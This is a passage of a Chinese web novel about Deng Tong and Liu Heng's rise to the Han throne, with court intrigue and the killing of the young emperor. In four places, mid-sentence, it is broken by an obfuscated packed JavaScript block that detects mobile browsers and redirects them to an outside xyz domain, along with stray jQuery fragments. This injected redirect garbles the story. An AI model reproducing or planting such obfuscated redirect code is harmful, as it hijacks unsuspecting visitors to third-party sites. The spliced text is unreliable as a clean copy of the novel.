“后来吕后后临朝的时候,高祖八个儿子,嫡出的惠帝病逝,庶出的活下来的就只有吕后一手带大的淮南王,以及这个默默无闻的代王。代王能平安长这么大,还能越过他那些兄弟侄子们,被老大人们迎进宫,说不得是有些大造化在身上的。” “你的意思是?”汉朝封建迷信还是很流行的,韩大有些被邓通说服了。 “我觉得韩大哥你刚刚的分析很有道理,但是稳妥起见,我觉得你还是再投一个一年以上的票目。这样不管哪一个中选,你都不会亏本不是吗?” “你说得有理!”韩大拍了拍邓通的肩膀,“等大哥赢钱了分你一半。” 5. 邓通没有辞职的第四天 赌徒们正激情满满地为代王的皇帝生涯押上自己的身家,但是实际上此刻的代王虽然已经来到了长安,但是并没有接受皇帝的印玺,他也没有去未央宫,而是住在自己长安城的代王府中。 夜色如墨,此刻的长安大街已然宵禁,但是这并没有阻止太尉周勃和丞相陈平一道出现在代王府里。 代王也没有问这两位白日里才率领百官配合他三辞三让过的老臣为何深夜又出现在了自己的府邸,只是像寻常人家待客一般,亲自在茶炉面前为两位深夜到访的客人煮茶。 代王身着素色深衣,发髻微松,似是准备安寝时匆匆起身。不过他面上并无疲倦不耐的神色,一双凤眼依然明亮有神。他平静地跪坐于茶炉前,手持竹夹,细心地拨弄着炉中炭火。 “大王——”周勃声音洪亮,在这静夜里显得格外突兀。 陈平轻轻按住他的手臂,向刘恒微微欠身:“深夜叨扰,实非得已。” “无妨。”刘恒抬手示意他们入座,“秋夜寒凉,正该煮茶驱寒。” 红泥小炉上,陶釜中的水开始泛起细密的气泡。刘恒取出一块茶饼,置于小火上缓缓烘烤。茶香随着热气弥漫开来,带着些许药草的清苦。 周勃按捺不住,正要开口,却被陈平以眼神制止。 “这是代地百姓日常常饮的苦茶。”刘恒不疾不徐地用茶碾研磨着烤好的茶饼,“味道粗粝,不比长安的精细。” 水沸了。刘恒撒入一把盐,又将研磨好的茶末投入釜中。他用竹筴轻轻搅动,茶汤在釜中旋转,泛起深褐色的泡沫。 “不过寡人觉得这苦茶醒神,能明心见性。”刘恒笑道,“两位大人不妨也尝尝看。” 刘恒将煮好的茶汤分入三只陶碗中。他先自取一碗,轻啜一口,方才将另外两碗推至二人面前。 周勃与陈平对视一眼,端起了陶碗,浅饮了一口。茶汤苦涩,两人都被苦了一个激灵。明心见性暂时不知道,这神是真醒了。 只是代王目光殷殷,又深夜亲手煮茶,两人即便不用讨好代王,出于礼貌也不好不饮了大半盏才说明自己的来意。 “吕氏已诛,朝堂肃清。臣等与阴安侯、列侯顷王后、琅邪王及宗室、大臣、二千石官共同议定,迎大王入继大统。”周勃还是白日那套说辞。 书房内静得能听见炭火轻微的噼啪声。刘恒伸手提起陶釜,为周勃已然半空的茶碗续上茶汤。 “此非高帝遗命,恒实不敢当。且恒德薄,恐负社稷之重。” 陈平缓缓开口:“如今高皇帝诸子中,大王最长,又以仁孝闻于天下。如今天下思洽,万民仰望。合该大王承继大统,为高皇帝嗣。” 汉朝普遍认可的还是嫡长子继承制。有嫡立嫡,无嫡就是灰色地带了。立母亲位份最高的庶子说得过去,立年纪最大的庶子也说得过去。 陈平这话一是表示他们老臣愿意从法理上确认刘恒继承的合理性。高祖的嫡子惠帝已死,庶子如今只剩下两个,虽然从小由吕后抚养的淮南王身份更为高贵,但是他们愿意站在无嫡立长这个立场。这个还是很有份量的,因为一旦承认了刘恒继承的合法性,即便是陈平和周勃以后想要再推翻,也是不可能的。 二是老臣们愿意从个人素质上承认刘恒继承的合理性。这个就有水分了,倒不是说代王品格不好,而是大家十几年不见面,品德好不好的你也不了解,而且以后要改口也说得过去,因为人的品性是可以变得。但是仁孝向来是天子需要具备的品质,有个仁孝的名声自然也是做皇帝的加分项。 刘恒的目光掠过两位老臣。周勃手握北军虎符,陈平智计百出,两人一文一武,是如今功臣集团的代表。他们联袂前来,已经昭示了功臣集团的选择。只是这还不够。 他端起茶碗,看着碗中深色的茶汤,道“宫中天子尚在,你们迎我,置他于何地。我若应允,又与篡逆何异?” 听到代王仿若诘问的话语,陈平和周勃都没有露出意外的神色。惠帝母亲为吕氏,是高帝嫡子,他去世,毫无疑问,他的儿子们才是更为名正言顺的皇位继承人。所以吕后生前立了两位少帝,都是惠帝的儿子。 太尉周勃一直紧绷的神色甚至松弛了几分:“大王,有件事臣下正要向您禀告。如今宫中所谓的少帝刘弘,及梁王、淮阳王、常山王等,经查证,皆非孝惠帝亲子!乃吕后以计诈取他人子,杀其母养于宫中,令孝惠认为己出,立为太子、诸侯王,旨在强吕氏之翼,非刘氏血脉!” 他顿了顿,让这番话在寂静中沉淀,然后继续道:“今吕氏已灭,此等子嗣,名不正言不顺,岂可承宗庙、奉社稷?” 代王刘恒露出一点恰到好处的愕然:“竟有如此内情?” “所以为了刘氏江山,也为了天下苍生计,请大王勿要再推辞!”周勃和陈平不约而同道。 代王朝着未央宫的方向揖首下拜,郑重道:“高皇帝之业重于泰山,既然宗室、大臣不弃,恒不敢再辞。” 茶尽,人散。刘恒独自坐在炉前,看着将熄的炭火。他添上一块新炭,火苗又重新跳跃起来。 宋昌从书房一面的屏风中悄无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526484|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声息地转了出来,影子一样站在了房间的书架旁边。 “太尉和丞相已经为您解决了最大的麻烦,为何大王似乎还是有些忧虑?” 刘恒嘴角浮上一点嘲讽的笑意:“他们愿意为寡人解决这个麻烦,不是他们有多支持看好寡人,而是因为这也是他们的大麻烦。” “诸吕已灭,他们同吕氏有灭门之仇,他们如何敢让惠帝的子孙以后能有机会能问鼎帝帝位。” 刘恒去代地就藩,成年以后,他的嫡妻和妾氏都是由吕后指派。嫡妻出身吕氏,刘恒并没有像其他娶了吕氏女子的刘氏宗亲一样不甘不愿,纳婢蓄妾,而是同这个女人举案齐眉,生下了四个儿子。吕后对他的服顺很是满意,所以他在封地这么多年一直平安无事。 他对吕氏没有情爱之心,但是他感激吕氏带来的庇护。如果他只是一个藩王,他愿意给吕氏和她的孩子们一个平安的结局。但是他如果做了皇帝,吕氏这个代王后便是皇后,她的几个孩子就都是嫡子。惠帝的儿子他们不肯放过,吕氏的这几个儿子恐怕也不会是例外。 “你安排好人手回代地一趟,安顿好王后和几个孩子。” 宋昌转念之间便明白了刘恒的用意。好在这件事倒也不需要作出额外的安排,因为之前代王奉密旨来长安,众人也不知是福是祸,便已经商讨过对王后和几位小公子的安排,如今不过是依计行事罢了。 宋昌退出了书房,屋内只余烛火在案上轻轻跳动,映得刘恒的脸半明半暗。刘恒望着窗外未央宫的方向,手指无意识地摩挲着已然冷却的茶盏。 就在数月前,他还在北疆的代国,每日同下属们商量着琐碎的政事,谨慎地计算着赋税,治理着那一方不算富庶的土地。他的人生轨迹,本该是作为高祖一个不起眼的庶子,在权力的边缘安然度过一生。然而,长安的腥风血雨,吕氏的轰然倒塌,像一只无形的巨手,将他从命运的角落里猛地拽出,抛向了漩涡的中心。 未央宫,那座象征着至高权力的宫殿,在黑夜的想象中,仿佛是一头沉默的巨兽,正张开幽深的巨口,等待他自投罗网。 那种从代地一路奔赴长安的不真实感终于消退了,取而代之的是一种深入骨髓的恐惧。不过在恐惧的冰层之下,有一股炽热的、连他自己都不愿完全承认的野望在涌动。 执掌天下,号令四海,实现自幼诵读圣贤书时所怀的抱负……这些念头像鬼火一样,在心底闪烁冲撞着。 刘恒饮下手中已然冰冷的残茶。最终,所有这些翻涌的心潮,都被一种极致的冷静所覆盖。 6. 邓通没有辞职的第五天 邓通当晚美美地睡了一觉,第二天一大早便起来搭韩大的车返回了上林苑。长安城自然是有千般好,但是他还是喜欢呆在自己的狗窝里。 住在一个院子的同僚们都已经去上值了,邓通一边暗自庆幸一边高高兴兴地把带回来的秋枣分好,挂在了他们关闭的房门上。 因为还要去辑濯丞那里交割出苑的符契,邓通给辑濯丞也带了一份。只是邓通对给上司送礼总有点羞耻感,一包枣子送得仿佛做贼。 辑濯丞王恢倒是大大方方打开了包着枣子的荷叶,一边给值房中的同僚分枣一边笑道:“真是难得,我们也是吃上小邓的孝敬了!” 令丞们都认识这个年纪不大,一年到头却很少出苑的漂亮年轻人,闻言纷纷笑了起来,邓通的一张脸顿时红得能媲美这些秋枣。 几位令丞吃了枣子,都说好,还跟邓通打听是在长安何处买的。只有辑濯丞王恢咬开一个,尝了一口以后,突然变了脸色。 “怎么了,可是吃到枣虫了?”有人调侃道。这枣子甘甜,虫子只会比人更爱吃。 王恢摇了摇头,将手中吃了一半的枣子给众人看:“这枣子果实硕大,果皮青红,果肉却是浅碧之色,状若细糜,入口绵密甘脆,嚼之有一点棠梨的清香。” 众人听了王恢的话,这才仔细端详起手中的枣子,发现确实如王恢所说,一时间都有些沉默。 邓通不明所以,有些忐忑地问道:“各位大人,这枣子可是有什么问题?” “这是上林苑产的棠枣。”一位令丞为邓通解惑道。 上林苑作为皇家园林,里面自然是有枣树的。这些枣树大部分都是各地移栽过来的名品,树龄也长,在禁圃所多年的照看和改良下,结出的枣子已经和民间果农种植的枣树已经大有不同。只是上林苑的枣子是奉上所用,普通人是无缘吃到的。 不过辑濯所的几位令丞品级都是六品往上,这刚好是参加大型宫宴的入门等级,所以在座的几位都有幸在宫宴上见过吃过棠枣。其中辑濯丞王恢又因为特别爱吃枣,所以印象尤其深刻。 自吕后去世以后,宫中只留下一个吕后扶植的年纪尚小的少帝。宫外诸吕被诛杀,少府里许多吕后在朝时挑拨的官员也遭到清算。明眼人已经明白少帝恐怕做不长久。人心惶惶,宫规苑令不复从前严明。 平日里禁圃所里这些日常照顾枣树的郎官和小吏偷吃苑中供枣这种微末小事已经无人或者说无力管制。但是将苑中供枣偷运出去售卖又是另外一回事。 好在辑濯所的这几位令丞都是高祖时便任命的,因为也不是什么油水丰厚职责重要的关键部门,吕后当政时便也没有趁机裁撤安插自己人。所以辑濯所众人在这次倒吕风波中倒没有怎么被波及。 尽管上林苑其他苑所律令废驰,但辑濯所赖于令丞们长久以来建立的威信与用心治理,倒还勉强能做得到各司其职,各安其事。只是这终究不是长久之计。 朝臣和百姓们需要一位贤明君主,这宫廷之中的诸人也在暗暗盼望一位安定人心的君主。 感受到众人的忧心和低落,邓通开口道:“说来也是凑巧,我和韩大昨日进城的时候,刚好撞上周太尉他们迎代王的车驾进城。” “快说说,那代王是何等模样?”果然,听说会有领导空降,几位令丞顿时都来了兴趣。 班也不上了,抓着邓通这个还在休假的下属打听新领导的八卦。 “他身姿挺挺拔的,多高?比我高一个头,约莫有九尺,有些瘦……” “凤眼,悬胆鼻,皮肤?皮肤是麦色的。有一把乌黑润泽的好头发。” “穿得很简朴,车驾也不张扬。举止谦和有礼……” 邓通给众人描述的时候发现自己虽然只是在城门外隔着人群远远望了一会儿,但是他对代王的印象还挺深刻的。 “照你这么形容,代王若是傅些粉,岂不是也是个掷果盈车的美男子!” 汉朝以白为美,男的为了漂亮也会傅粉。 邓通想象代王那张清冷端肃的脸被涂得好像刷了大白的墙,忍不住笑出声来。 放假的下午就在这样悠然欢快的氛围中消磨过去。但是和上林苑一湖之隔的未央宫的氛围却远没有这样美好。 周勃陈平在少帝这件事上和代王达成共识,又或者说通知过代王之后,就开始着手清宫事宜。 虽然给惠帝的几个儿子都安上了并非亲子的罪名,但是实际情况到底如何恐怕只有他们自己知道。臣下处理君上,这名声终究不够好听。所以陈平和周勃都没有出手,而是打算把事情交给东牟侯刘兴居主办。 东牟侯刘兴居是前任齐王刘肥的第三子,他的大哥现任齐王刘襄出兵反吕牵制吕家在外的兵力,二哥刘章居中传递关键消息,还杀死了吕家的重要人物,两人都为诛吕立下了汗马功劳。封赏几乎是必然的。 只有刘兴居,虽然也帮忙传递了一些消息,但是并没有立下什么大的功劳。眼见着两个哥哥都要起飞了,刘兴居那是又羡慕又着急,想要进步的心那简直比太阳还火热。 而且齐王一家和吕后之间的过节那真是不小。 前任齐王刘肥是刘邦长子,封地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526485|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本是最大的,而且土地富饶,人口众多。吕雉这个嫡母自然是看不惯,不过分封的时候刘邦还没死,吕雉也就没有表露出来。 后来刘邦去世,吕雉的儿子刘盈继位,刘肥按例进京朝见新皇帝惠帝。刘盈是个厚道人,也不知道刘邦和吕雉两个人是怎么能生出这样的儿子的。他觉得刘肥是兄长,就在家宴上让刘肥这个兄长上座,刘肥也没多想,就坐了。 吕后一看这还得了,刘盈谦让是他心地仁厚礼敬兄长,你一个藩王还真敢坐到皇帝的上手去,而且一个庶子,还真把自己当兄长了。再想到刘邦给这个庶长子分的家产,吕后那又是新仇旧恨一起涌上心头。 这个时候吕后已经掌握了朝政大权,也没废话,直接命人准备了毒酒,赏赐给刘肥,让他为自己祝寿。 但是当时不知情的惠帝刘盈也拿起其中一杯,准备与兄长一同向吕后祝寿。吕后害怕毒死自己的儿子,亲自起身打翻了惠帝手中的酒杯。这个反常的举动让刘肥警觉起来,他立刻假装酒醉,不敢再饮,随即离席。 但是吕后要人死,岂是你今天不喝毒酒就可以逃过的。之前戚夫人的儿子刘如意,吕后要杀他,惠帝当时天天把他带在身边,同吃同睡,让他妈不敢下毒,三次来长安都逃过了。结果最后一次刘盈外出打猎,刘如意因为年纪小,贪睡没有早起一道去,吕后立刻就派人给刘如意强行灌毒酒毒死了他。 刘肥自认不比刘如意命硬,惊恐万分,认为自己无法活着离开长安了。还是刘肥的部下为他出了一个主意,让他将齐国最富裕人口最稠密的城阳郡献给吕后的亲生女儿鲁元公主,作为她的私人封地。并尊奉鲁元公主为齐国的王太后,这意味着刘肥以对待母亲的礼节来对待自己的妹妹。 刘肥的“懂事”让吕后消气不少,又有亲生女儿居中转圜,吕后才放过刘肥,让他活着返回了齐国。但是封地却是少了一大块的。刘肥自然高兴不起来,而且因为担心吕后还会对自己出手,心情惊惧交加,不到四年就去世了。 后来刘襄继齐王位,吕雉又封刘邦的弟弟刘泽为琅琊王,把齐国的封地又给出去一块。吕氏当时势大,刘襄也不敢反抗,只能窝窝囊囊答应下来。 现在两人把处理吕后孙子的事交给刘兴居,借刀杀人赶尽杀绝的意思不言而喻。不过为了程序表面上的正义性和合理性,也为了确保最终的结果是他们想要看到的,周勃和陈平也象征性地派出了一个自己人——汝阴侯夏侯婴,监督协助刘兴居做这件事情。 确定好了人手,清宫就在刘兴居主理,夏侯婴辅助的情况下迅速开展起来。 7.邓通没有辞职的第五天 侍卫和宫人被毫不客气地驱赶出去,敢于反抗的人立刻就变成阶前的一蓬红色血雾。 未央宫的主殿很快空旷起来,空气中弥漫着一种血腥的寂静。刘兴居一脚踏入前殿,靴声在大殿中发出刺耳的回响。 他的目光如寻找腐食的秃鹫,瞬间就锁定了御座上那个单薄的身影——少帝刘弘。那还是个半大的孩子,此刻因惊惧而面色惨白,双手死死抓着御座的扶手,仿佛那是唯一的浮木。 “来人,”刘兴居下令,声音因兴奋而略显尖锐,“请陛下‘移驾’!” “哦,不对,他并非我刘氏子孙,这里并没有什么陛下。” 刘兴居戏谑地看着原本还竭力挺直腰背的刘弘在听到他的话以后难以置信的神色和坍塌下去的脊背,轻轻一挥手,背后蓄势待发的甲士顿时如狼似虎地扑了上来,将少帝从象征着至高权力的御座上拽下来。 “朕乃天子,你们安敢——”刘弘虽然害怕,但还是竭力维持着镇定。 不过在他看到着甲带剑的夏侯婴以及和他同样待遇的几个弟弟以后,他的声音戛然而止。夏侯婴是元老重臣,是除了太尉周勃和丞相陈平以外,他以前常常从吕后口中听到的名字。 刘弘已经十二岁了,他明白一切已经无力回天了。 后少帝刘弘,梁王,淮阳王,常山王等被押上了离宫的马车,于当晚全部病逝。 未央宫的风云变幻并没有影响到沧池上的田田荷叶。邓通结束休假去上值的时候,只觉得沧池上的荷叶越发亭亭玉立了。只是不知道是不是因为今天的日头有些大,邓通等了一上午,都没有见着一个游湖的贵人。 邓通乐得清闲,索性拿了草帽盖在脸上,躺在舟中午歇。只是他才将将入睡,就被人推醒。 “宫里又要藕和莲子了?”邓通发现来的人是余喜,有些纳闷地问道。 “都不是!”余喜道,“代王,哦,不对,现在要改称陛下了,要进宫了,少府那边派了小黄门过来说要挑些荷花回去给陛下布置居处!” 这么快,邓通在心中嘀咕了一声,就认命地顶着大太阳划着船带着余喜在湖上挑了起来。 这个时节荷花没有夏日的时候那么盛了,但是也颇为可观。不用离太近,便能嗅到荷花那清苦幽微的香气,叫人有种清凉舒爽之感。在这有些闷热的天气用来布置屋子确实很不错。 余喜捡着含苞待放的,半开半合的和全开的都挑了一些,装了满满两大箩筐。邓通把人送到了西岸以后,以为会有人过来接应他,结果岸上一个人都没有。 “你和我一道把花送去少府,我们令丞就认识你了!”余喜有些得意地朝邓通挤了挤眼睛道。 邓通倒是想婉拒余喜的好意,可是这两个箩筐余喜一个人显然是搬不了,鲜花不比其他的,耽搁了时间就不够新鲜了。邓通只得抱起一个箩筐,跟着余喜一道回少府。 两人从西边回少府,途中会经过一处甬道。这些甬道是连接上林苑和未央宫的通道,连接处都有人看护把守,为的是方便皇帝在宫中和上林苑往返。只是之前少帝年纪还小,吕后虽然和皇帝一般,但是她对骑马打猎这些活动也不感兴趣,所以这甬道很少有车马行走。 不过今天这甬道中似乎有一队车马,邓通遥遥望见了,总觉得有些眼熟。 不过没等他想起来在哪里见过,那车队就被值守的侍卫拦住了。 “来者何人,为何擅闯甬道?”领头的侍卫大声呵斥道。 “这是代王车驾!”车驾旁边的一个侍卫拿出一块令牌展示给那守卫看。 “甬道乃天子近道!”值守的侍卫瞥了一眼,嗤笑道,“代王如何能走?” “瞎了你的狗眼了,代王就是当今天子!”拿令牌的侍卫被激怒,抽出背后的一对铜锤打算给对方一点颜色看看。 对面的守卫听了这话竟然一点也不怵,而是齐刷刷地拔出了刀。 “我们少府也是早上才接到代王要入宫的命令,这群侍卫是不是还没接到命令。”余喜道。 邓通没有吭声。少府都通知到了,不可能独独忘记通知守卫进宫甬道的兵士。而且代王即便不是天子,也是一地藩王,把守的守卫如此不客气,也有些反常。 代王下了车,余喜的目光落在代王的脸上,语气顿时一转:“这群侍卫连陛下入宫都不知道,真不知道他们一天到晚的还能知道些什么!” 邓通:“……” 代王没有强行进入甬道,而是让自己的侍卫收起武器。同时吩咐拿铜锤的那个侍卫去把这里的情况告诉周勃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538303|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周勃是太尉,名义上全大汉的兵马都归他管,当然他没有虎符也是调动不了的。但是杀死吕产和吕禄以后,长安城中戍守未央宫的南军和北军已经暂时都归到了他的手上。 铜锤侍卫有些不满意,不过还是听从了代王的命令。一群人等了约摸两刻钟,那侍卫才带着太尉周勃匆匆赶来。 周勃不过使了一个眼色,之前那些拦路的侍卫就听命让开了。 周勃上前赔罪道:“是老臣的疏忽,陛下也知道前段时间宫中不太平,老臣便下令所有人都不得随意进出。他们也是尽忠职守,只是没能提前识得陛下,所以才多有冒犯,请陛下恕罪。” “无妨。”代王淡淡一笑,“只是前面还有些关卡,为了今天能顺利进宫,还要劳烦太尉随寡人一道。” 周勃没能从代王那张年轻的脸上看出什么憋屈愤怒的神色,再一次在心中警惕他的城府。这几天的相处下来,他们已经完全清楚代王并非传言中的那样是个“老实人”。这一次的拦截,也不过是给代王一个小小的警告——即便他们请他来做了这个皇帝,长安城和未央宫也并非由他说了算。 周勃陪着代王的车马远去,邓通和余喜两人才抱着花从甬道旁过去。 “周太尉看着就不太好相处。”余喜抱着箩筐,一边轻声抱怨一边加快了步子,“不像我们陛下,看着年纪不大,还很和善有礼。” 自从发现代王长得好看以后,余喜就自发变成了代王粉,夸他的同时不忘拉踩其他人。邓通多少有点明白为什么余喜这么关照自己了。 不过邓通也认可余喜的话,周勃看上去有点像故意的。虽然周勃好像也没做什么,但是邓通还是有点汉文帝被周勃欺负的感觉,心里有点不得劲。就像小时候看电视,看不得正义的一方受一点委屈。 “我们赶紧把花送过去吧,晚点代王说不定都进宫了。”希望这些漂亮又气味芬芳的花朵能让汉文帝的心情好一点吧。 余喜听了这话脚下的步子更快了,邓通差点追不上。两人把花送到少府在苑中的办事处,那里备有快马,很快就能把东西运送进未央宫。 余喜的上司钩盾令看两人带回来的荷花都带着水珠,又新鲜又漂亮,一点瑕疵都没有,不仅眼熟了邓通的脸和名字,还给两人一人打赏了二百钱。 8.邓通没有辞职的第六天 代王在周勃的陪护下入了宫,在未央宫正殿以天子身份见了文武百官以后,又在宣室殿和少府的一众主官以及郎中令、卫尉见了面,直到月上枝头才回到宣室殿中皇帝休憩的寝室。 说是寝室,其实是用一座百宝嵌十二扇折屏在宣室殿中隔绝出来的起居场所。屏风以螺钿、象牙、绿松石、珊瑚等珍宝,镶嵌出四季花鸟图,十分华美。屏风后设有一张黑漆嵌玉卧榻,轻如烟雾的烟罗作为纱帐,厚重华丽的丹绮作为帷幔,上面用金线银线绣满了繁复的茱萸纹、豹首纹等吉祥图案。 卧榻旁边立着一架紫檀衣架,上面陈放着一件洁白的寝衣,看着似乎是由齐地冰纨制成,触之生凉,轻若无物。 卧榻靠窗的方向则摆着一张彩绘漆案,案上摆放着一套鎏金银釦漆器茶具,以及两瓶供人赏玩的荷花。一瓶插在高颈的长瓶中,亭亭玉立,一瓶则装在盛水的矮漆盘中,暗香浮动。 刘恒被这间金玉堆砌的华美寝室中静静绽放的生机所吸引,走了过去。荷花白中透粉的花瓣在煌煌灯火的照耀下,发出莹润的光芒,像是美人的脸庞。刘恒不由伸出手,轻轻抚触了片刻,觉得手上似乎都沾染了香气。 刘恒站在几案前认真观赏了一会儿,突然发现其中一朵荷花的花瓣深处,似乎有什么东西。他把花从水中捞了出来,倒过来,抖了抖,一支食指长短的竹签从层叠的花瓣里面掉了出来。 他把竹签捡起来,上面刻着“通,五金,八月初十”的字样,还盖了纹样奇特的图章,不过那图章只有一半,像是某种契书。 如果刘恒能看懂,或许很快就会将这竹签抛之脑后,但是因为他不知道这是做什么的,反而生出了不大不小的好奇心。 刘恒叫来了宋昌,想让他查查这竹签是做什么用的,又为何会出现在这宫中。结果宋昌把竹签接过去一看,就对刘恒道: “陛下,这是民间博戏押注的凭证。通是押注之人的名字,五金是押注的金额,后面是这人押注的日期。” “那这图章可是店家的徽记?”刘恒兴致勃勃地问道。 刘恒从前做代王的时候也需要治理百姓,自然是熟知律法的。大汉禁止博戏,不过他也并非不食人间烟火的帝王,知道律令禁止,也并不代表这件事情就会被禁绝。 “算是吧。”宋昌迟疑了一下,还是一五一十对刘恒道,“除了店家,这印纹一般还有押注盘口和票目的信息,押注以后庄家持一半,押注之人持一半,作为以后兑换的凭证。” 刘恒露出一个狡黠的笑容:“这押注是八月初十下的,离现在不过两天,很可能还没到兑付的时候。你去查查这是在哪里押注的,押的又是什么名目,要是赢了就把彩头全部兑回来。” 宋昌:“……” 虽然这凭证被别人捡去了别人也未必会还,但是被天子捡到了,也算是这人倒霉了。 宋昌在心里为这人默哀了一息,然后恭敬应诺。 宫中的芙蕖都是从沧池中采摘运送过来的,能把竹签掉进这花里的只会是宫里的人。 押注只有五金,不算很多,最有可能的便是这次采摘运送还有宫中布置这些花的郎官侍人。当然在沧池中游玩的贵人也不是不可能,不过这花很新鲜,还未完全绽放,可能从开放到采摘也就是这三四天的事。查这几天哪位贵人曾到沧池上游玩过也很容易。 再加上这个人名字里大概率还有个通字。说实话,宋昌觉得他今晚就能把这竹签主人的身份探查清楚。 但是陛下只交代他查竹签的来历,还想把竹签的押注据为己有,也许他并不想知道这竹签的主人是谁。那他就得换个查法。也许去长安城里找几个资深的赌徒直接探问一二就能得到答案。 这不过是入睡前的一个小插曲,刘恒交代过宋昌以后,就把这事放在一边了。 接下来的三天,刘恒都忙于参加自己的就职仪式。毕竟换人做了皇帝,并不是只要通知文武百官和宫中诸人就可以了。 刘恒得上告苍天,下祭宗庙,表明自己这个皇帝是获得了天命和祖先(宗法)的双重认可才算是名正言顺了。 这个就职仪式的发起人得是三公,司徒司马司空,在汉朝就是丞相太尉御史大夫,所以说刘襄当时才想派人来长安帮他说说好话,不然三公都不支持你,想当皇帝没人发offer就很尴尬了。 就职仪式的具体流程则是由太常来安排,包括祭品,音乐,发给神明的信息(祝文)等等。这个过程也不能出错,因为汉朝人民普遍比较迷信,要是就职仪式出现了什么不好的预兆,皇位也会很不稳当。 再就是百官见证了,相当于群发通知,而且众人也都表示收到了。以后再说什么不认识新天子把人车马拦下来就不能说不知者不罪了。 就职仪式办完,刘恒和他身边的人都微微松了一口气,未来如何他们不知道,但是至少此刻,刘恒是名正言顺的皇帝。 刘恒回到了宣室殿,那些奢华的饰品和摆件他已经叫人撤去了,只有两瓶荷花,还摆在靠窗的矮几上,已经开得极盛了。 刘恒遣散了侍奉的宫人,只留下几位从代国带来的心腹重臣。偌大的宣室殿在烛火摇曳中显得格外空旷幽深,他揉了揉因连日典礼而有些发胀的太阳穴,声音带着一丝疲惫,却异常清晰地说道:“这登基大典办完了,明日就得论功行赏。大家都不是外人,说说看,都有什么想法?” 话音刚落,从代地就跟随刘恒的郎中令张武便率先出列。他性子耿直,声音洪亮,带着军人特有的爽利:“陛下,这有什么好想的?此次陛下入继大统,首功当属太尉周勃与丞相陈平!若非周太尉在北军振臂一呼,使将士皆左袒,刘氏难安。若非陈丞相在朝中运筹帷幄,与诸臣交通,大事难成。此二人,当重赏!” 他顿了顿,手指在空中用力一点,继续道:“其次,便是齐王刘襄,率先起兵西向,使吕产、吕禄等人首尾难顾,功不可没!再有,朱虚侯刘章、东牟侯刘兴居,兄弟二人在长安城内,堪称陛下内应。刘章更是于未央宫斩杀吕产,勇冠三军!还有那驻守荥阳的车骑将军灌婴,关键时刻临阵倒戈,承诺与齐王共击诸吕,彻底断了吕氏外援。这些人,都是泼天的大功,理应封赏!” 张武的话像一块石头投入平静的湖面,激起了涟漪。殿内陷入短暂的沉默,只有烛火噼啪作响。 这时,宋昌缓缓开口道:“郎中令所言,皆是实情。周、陈二位,定鼎之功,赏赐必居首位,方显陛下不负功臣。然——” 宋昌也是代地便跟随刘恒的臣子,在代地任中尉,是刘恒的亲卫队队长。当时众人觉得朝廷诏书是陷阱,反对刘恒来长安称帝,是他一力主张刘恒来长安。眼下的结果也证实了宋昌目光长远。 他这一个“然”字,让大家的目光都投了过来。 “然,齐王乃高皇帝长孙,此次起兵,名正言顺,在宗室中威望正隆。其叔父驷钧,亦非善类。若论功行赏,其封地、权势,陛下需仔细斟酌,既要彰显其功,亦需顾及宗庙安定。” 宋昌的话说得很含蓄,但在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548738|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场所有人都明白,这是在提醒刘恒,要防范这位实力强大、同样拥有继承权的侄子。 “至于朱虚侯与东牟侯,”宋昌继续道,“年少勇猛,于国有大功,亦当厚赏,可安宗室年轻一辈之心。灌婴将军手握重兵,其态度举足轻重,陛下当施以隆恩,加以抚慰,使其成为陛下之肱骨,而非仅仅是反对吕氏的盟友。” 刘恒静静地听着,手指无意识地在御座的扶手上轻轻敲击。众人听了宋昌的话,也陷入了思索当中。 过得一阵,又有不少人发言,但是意见和张武宋昌大同小异。要么主张大力封赏,要么就主张暗中防备。 等众人都发表了自己的意见,刘恒才开口道: “诸卿所言,皆有道理。功,要赏,而且要大大地赏,要让天下人知道,朕,不负功臣。” “但,这赏,怎么赏,赏多少,关乎的不仅是功劳大小,更是我大汉未来的江山社稷。” 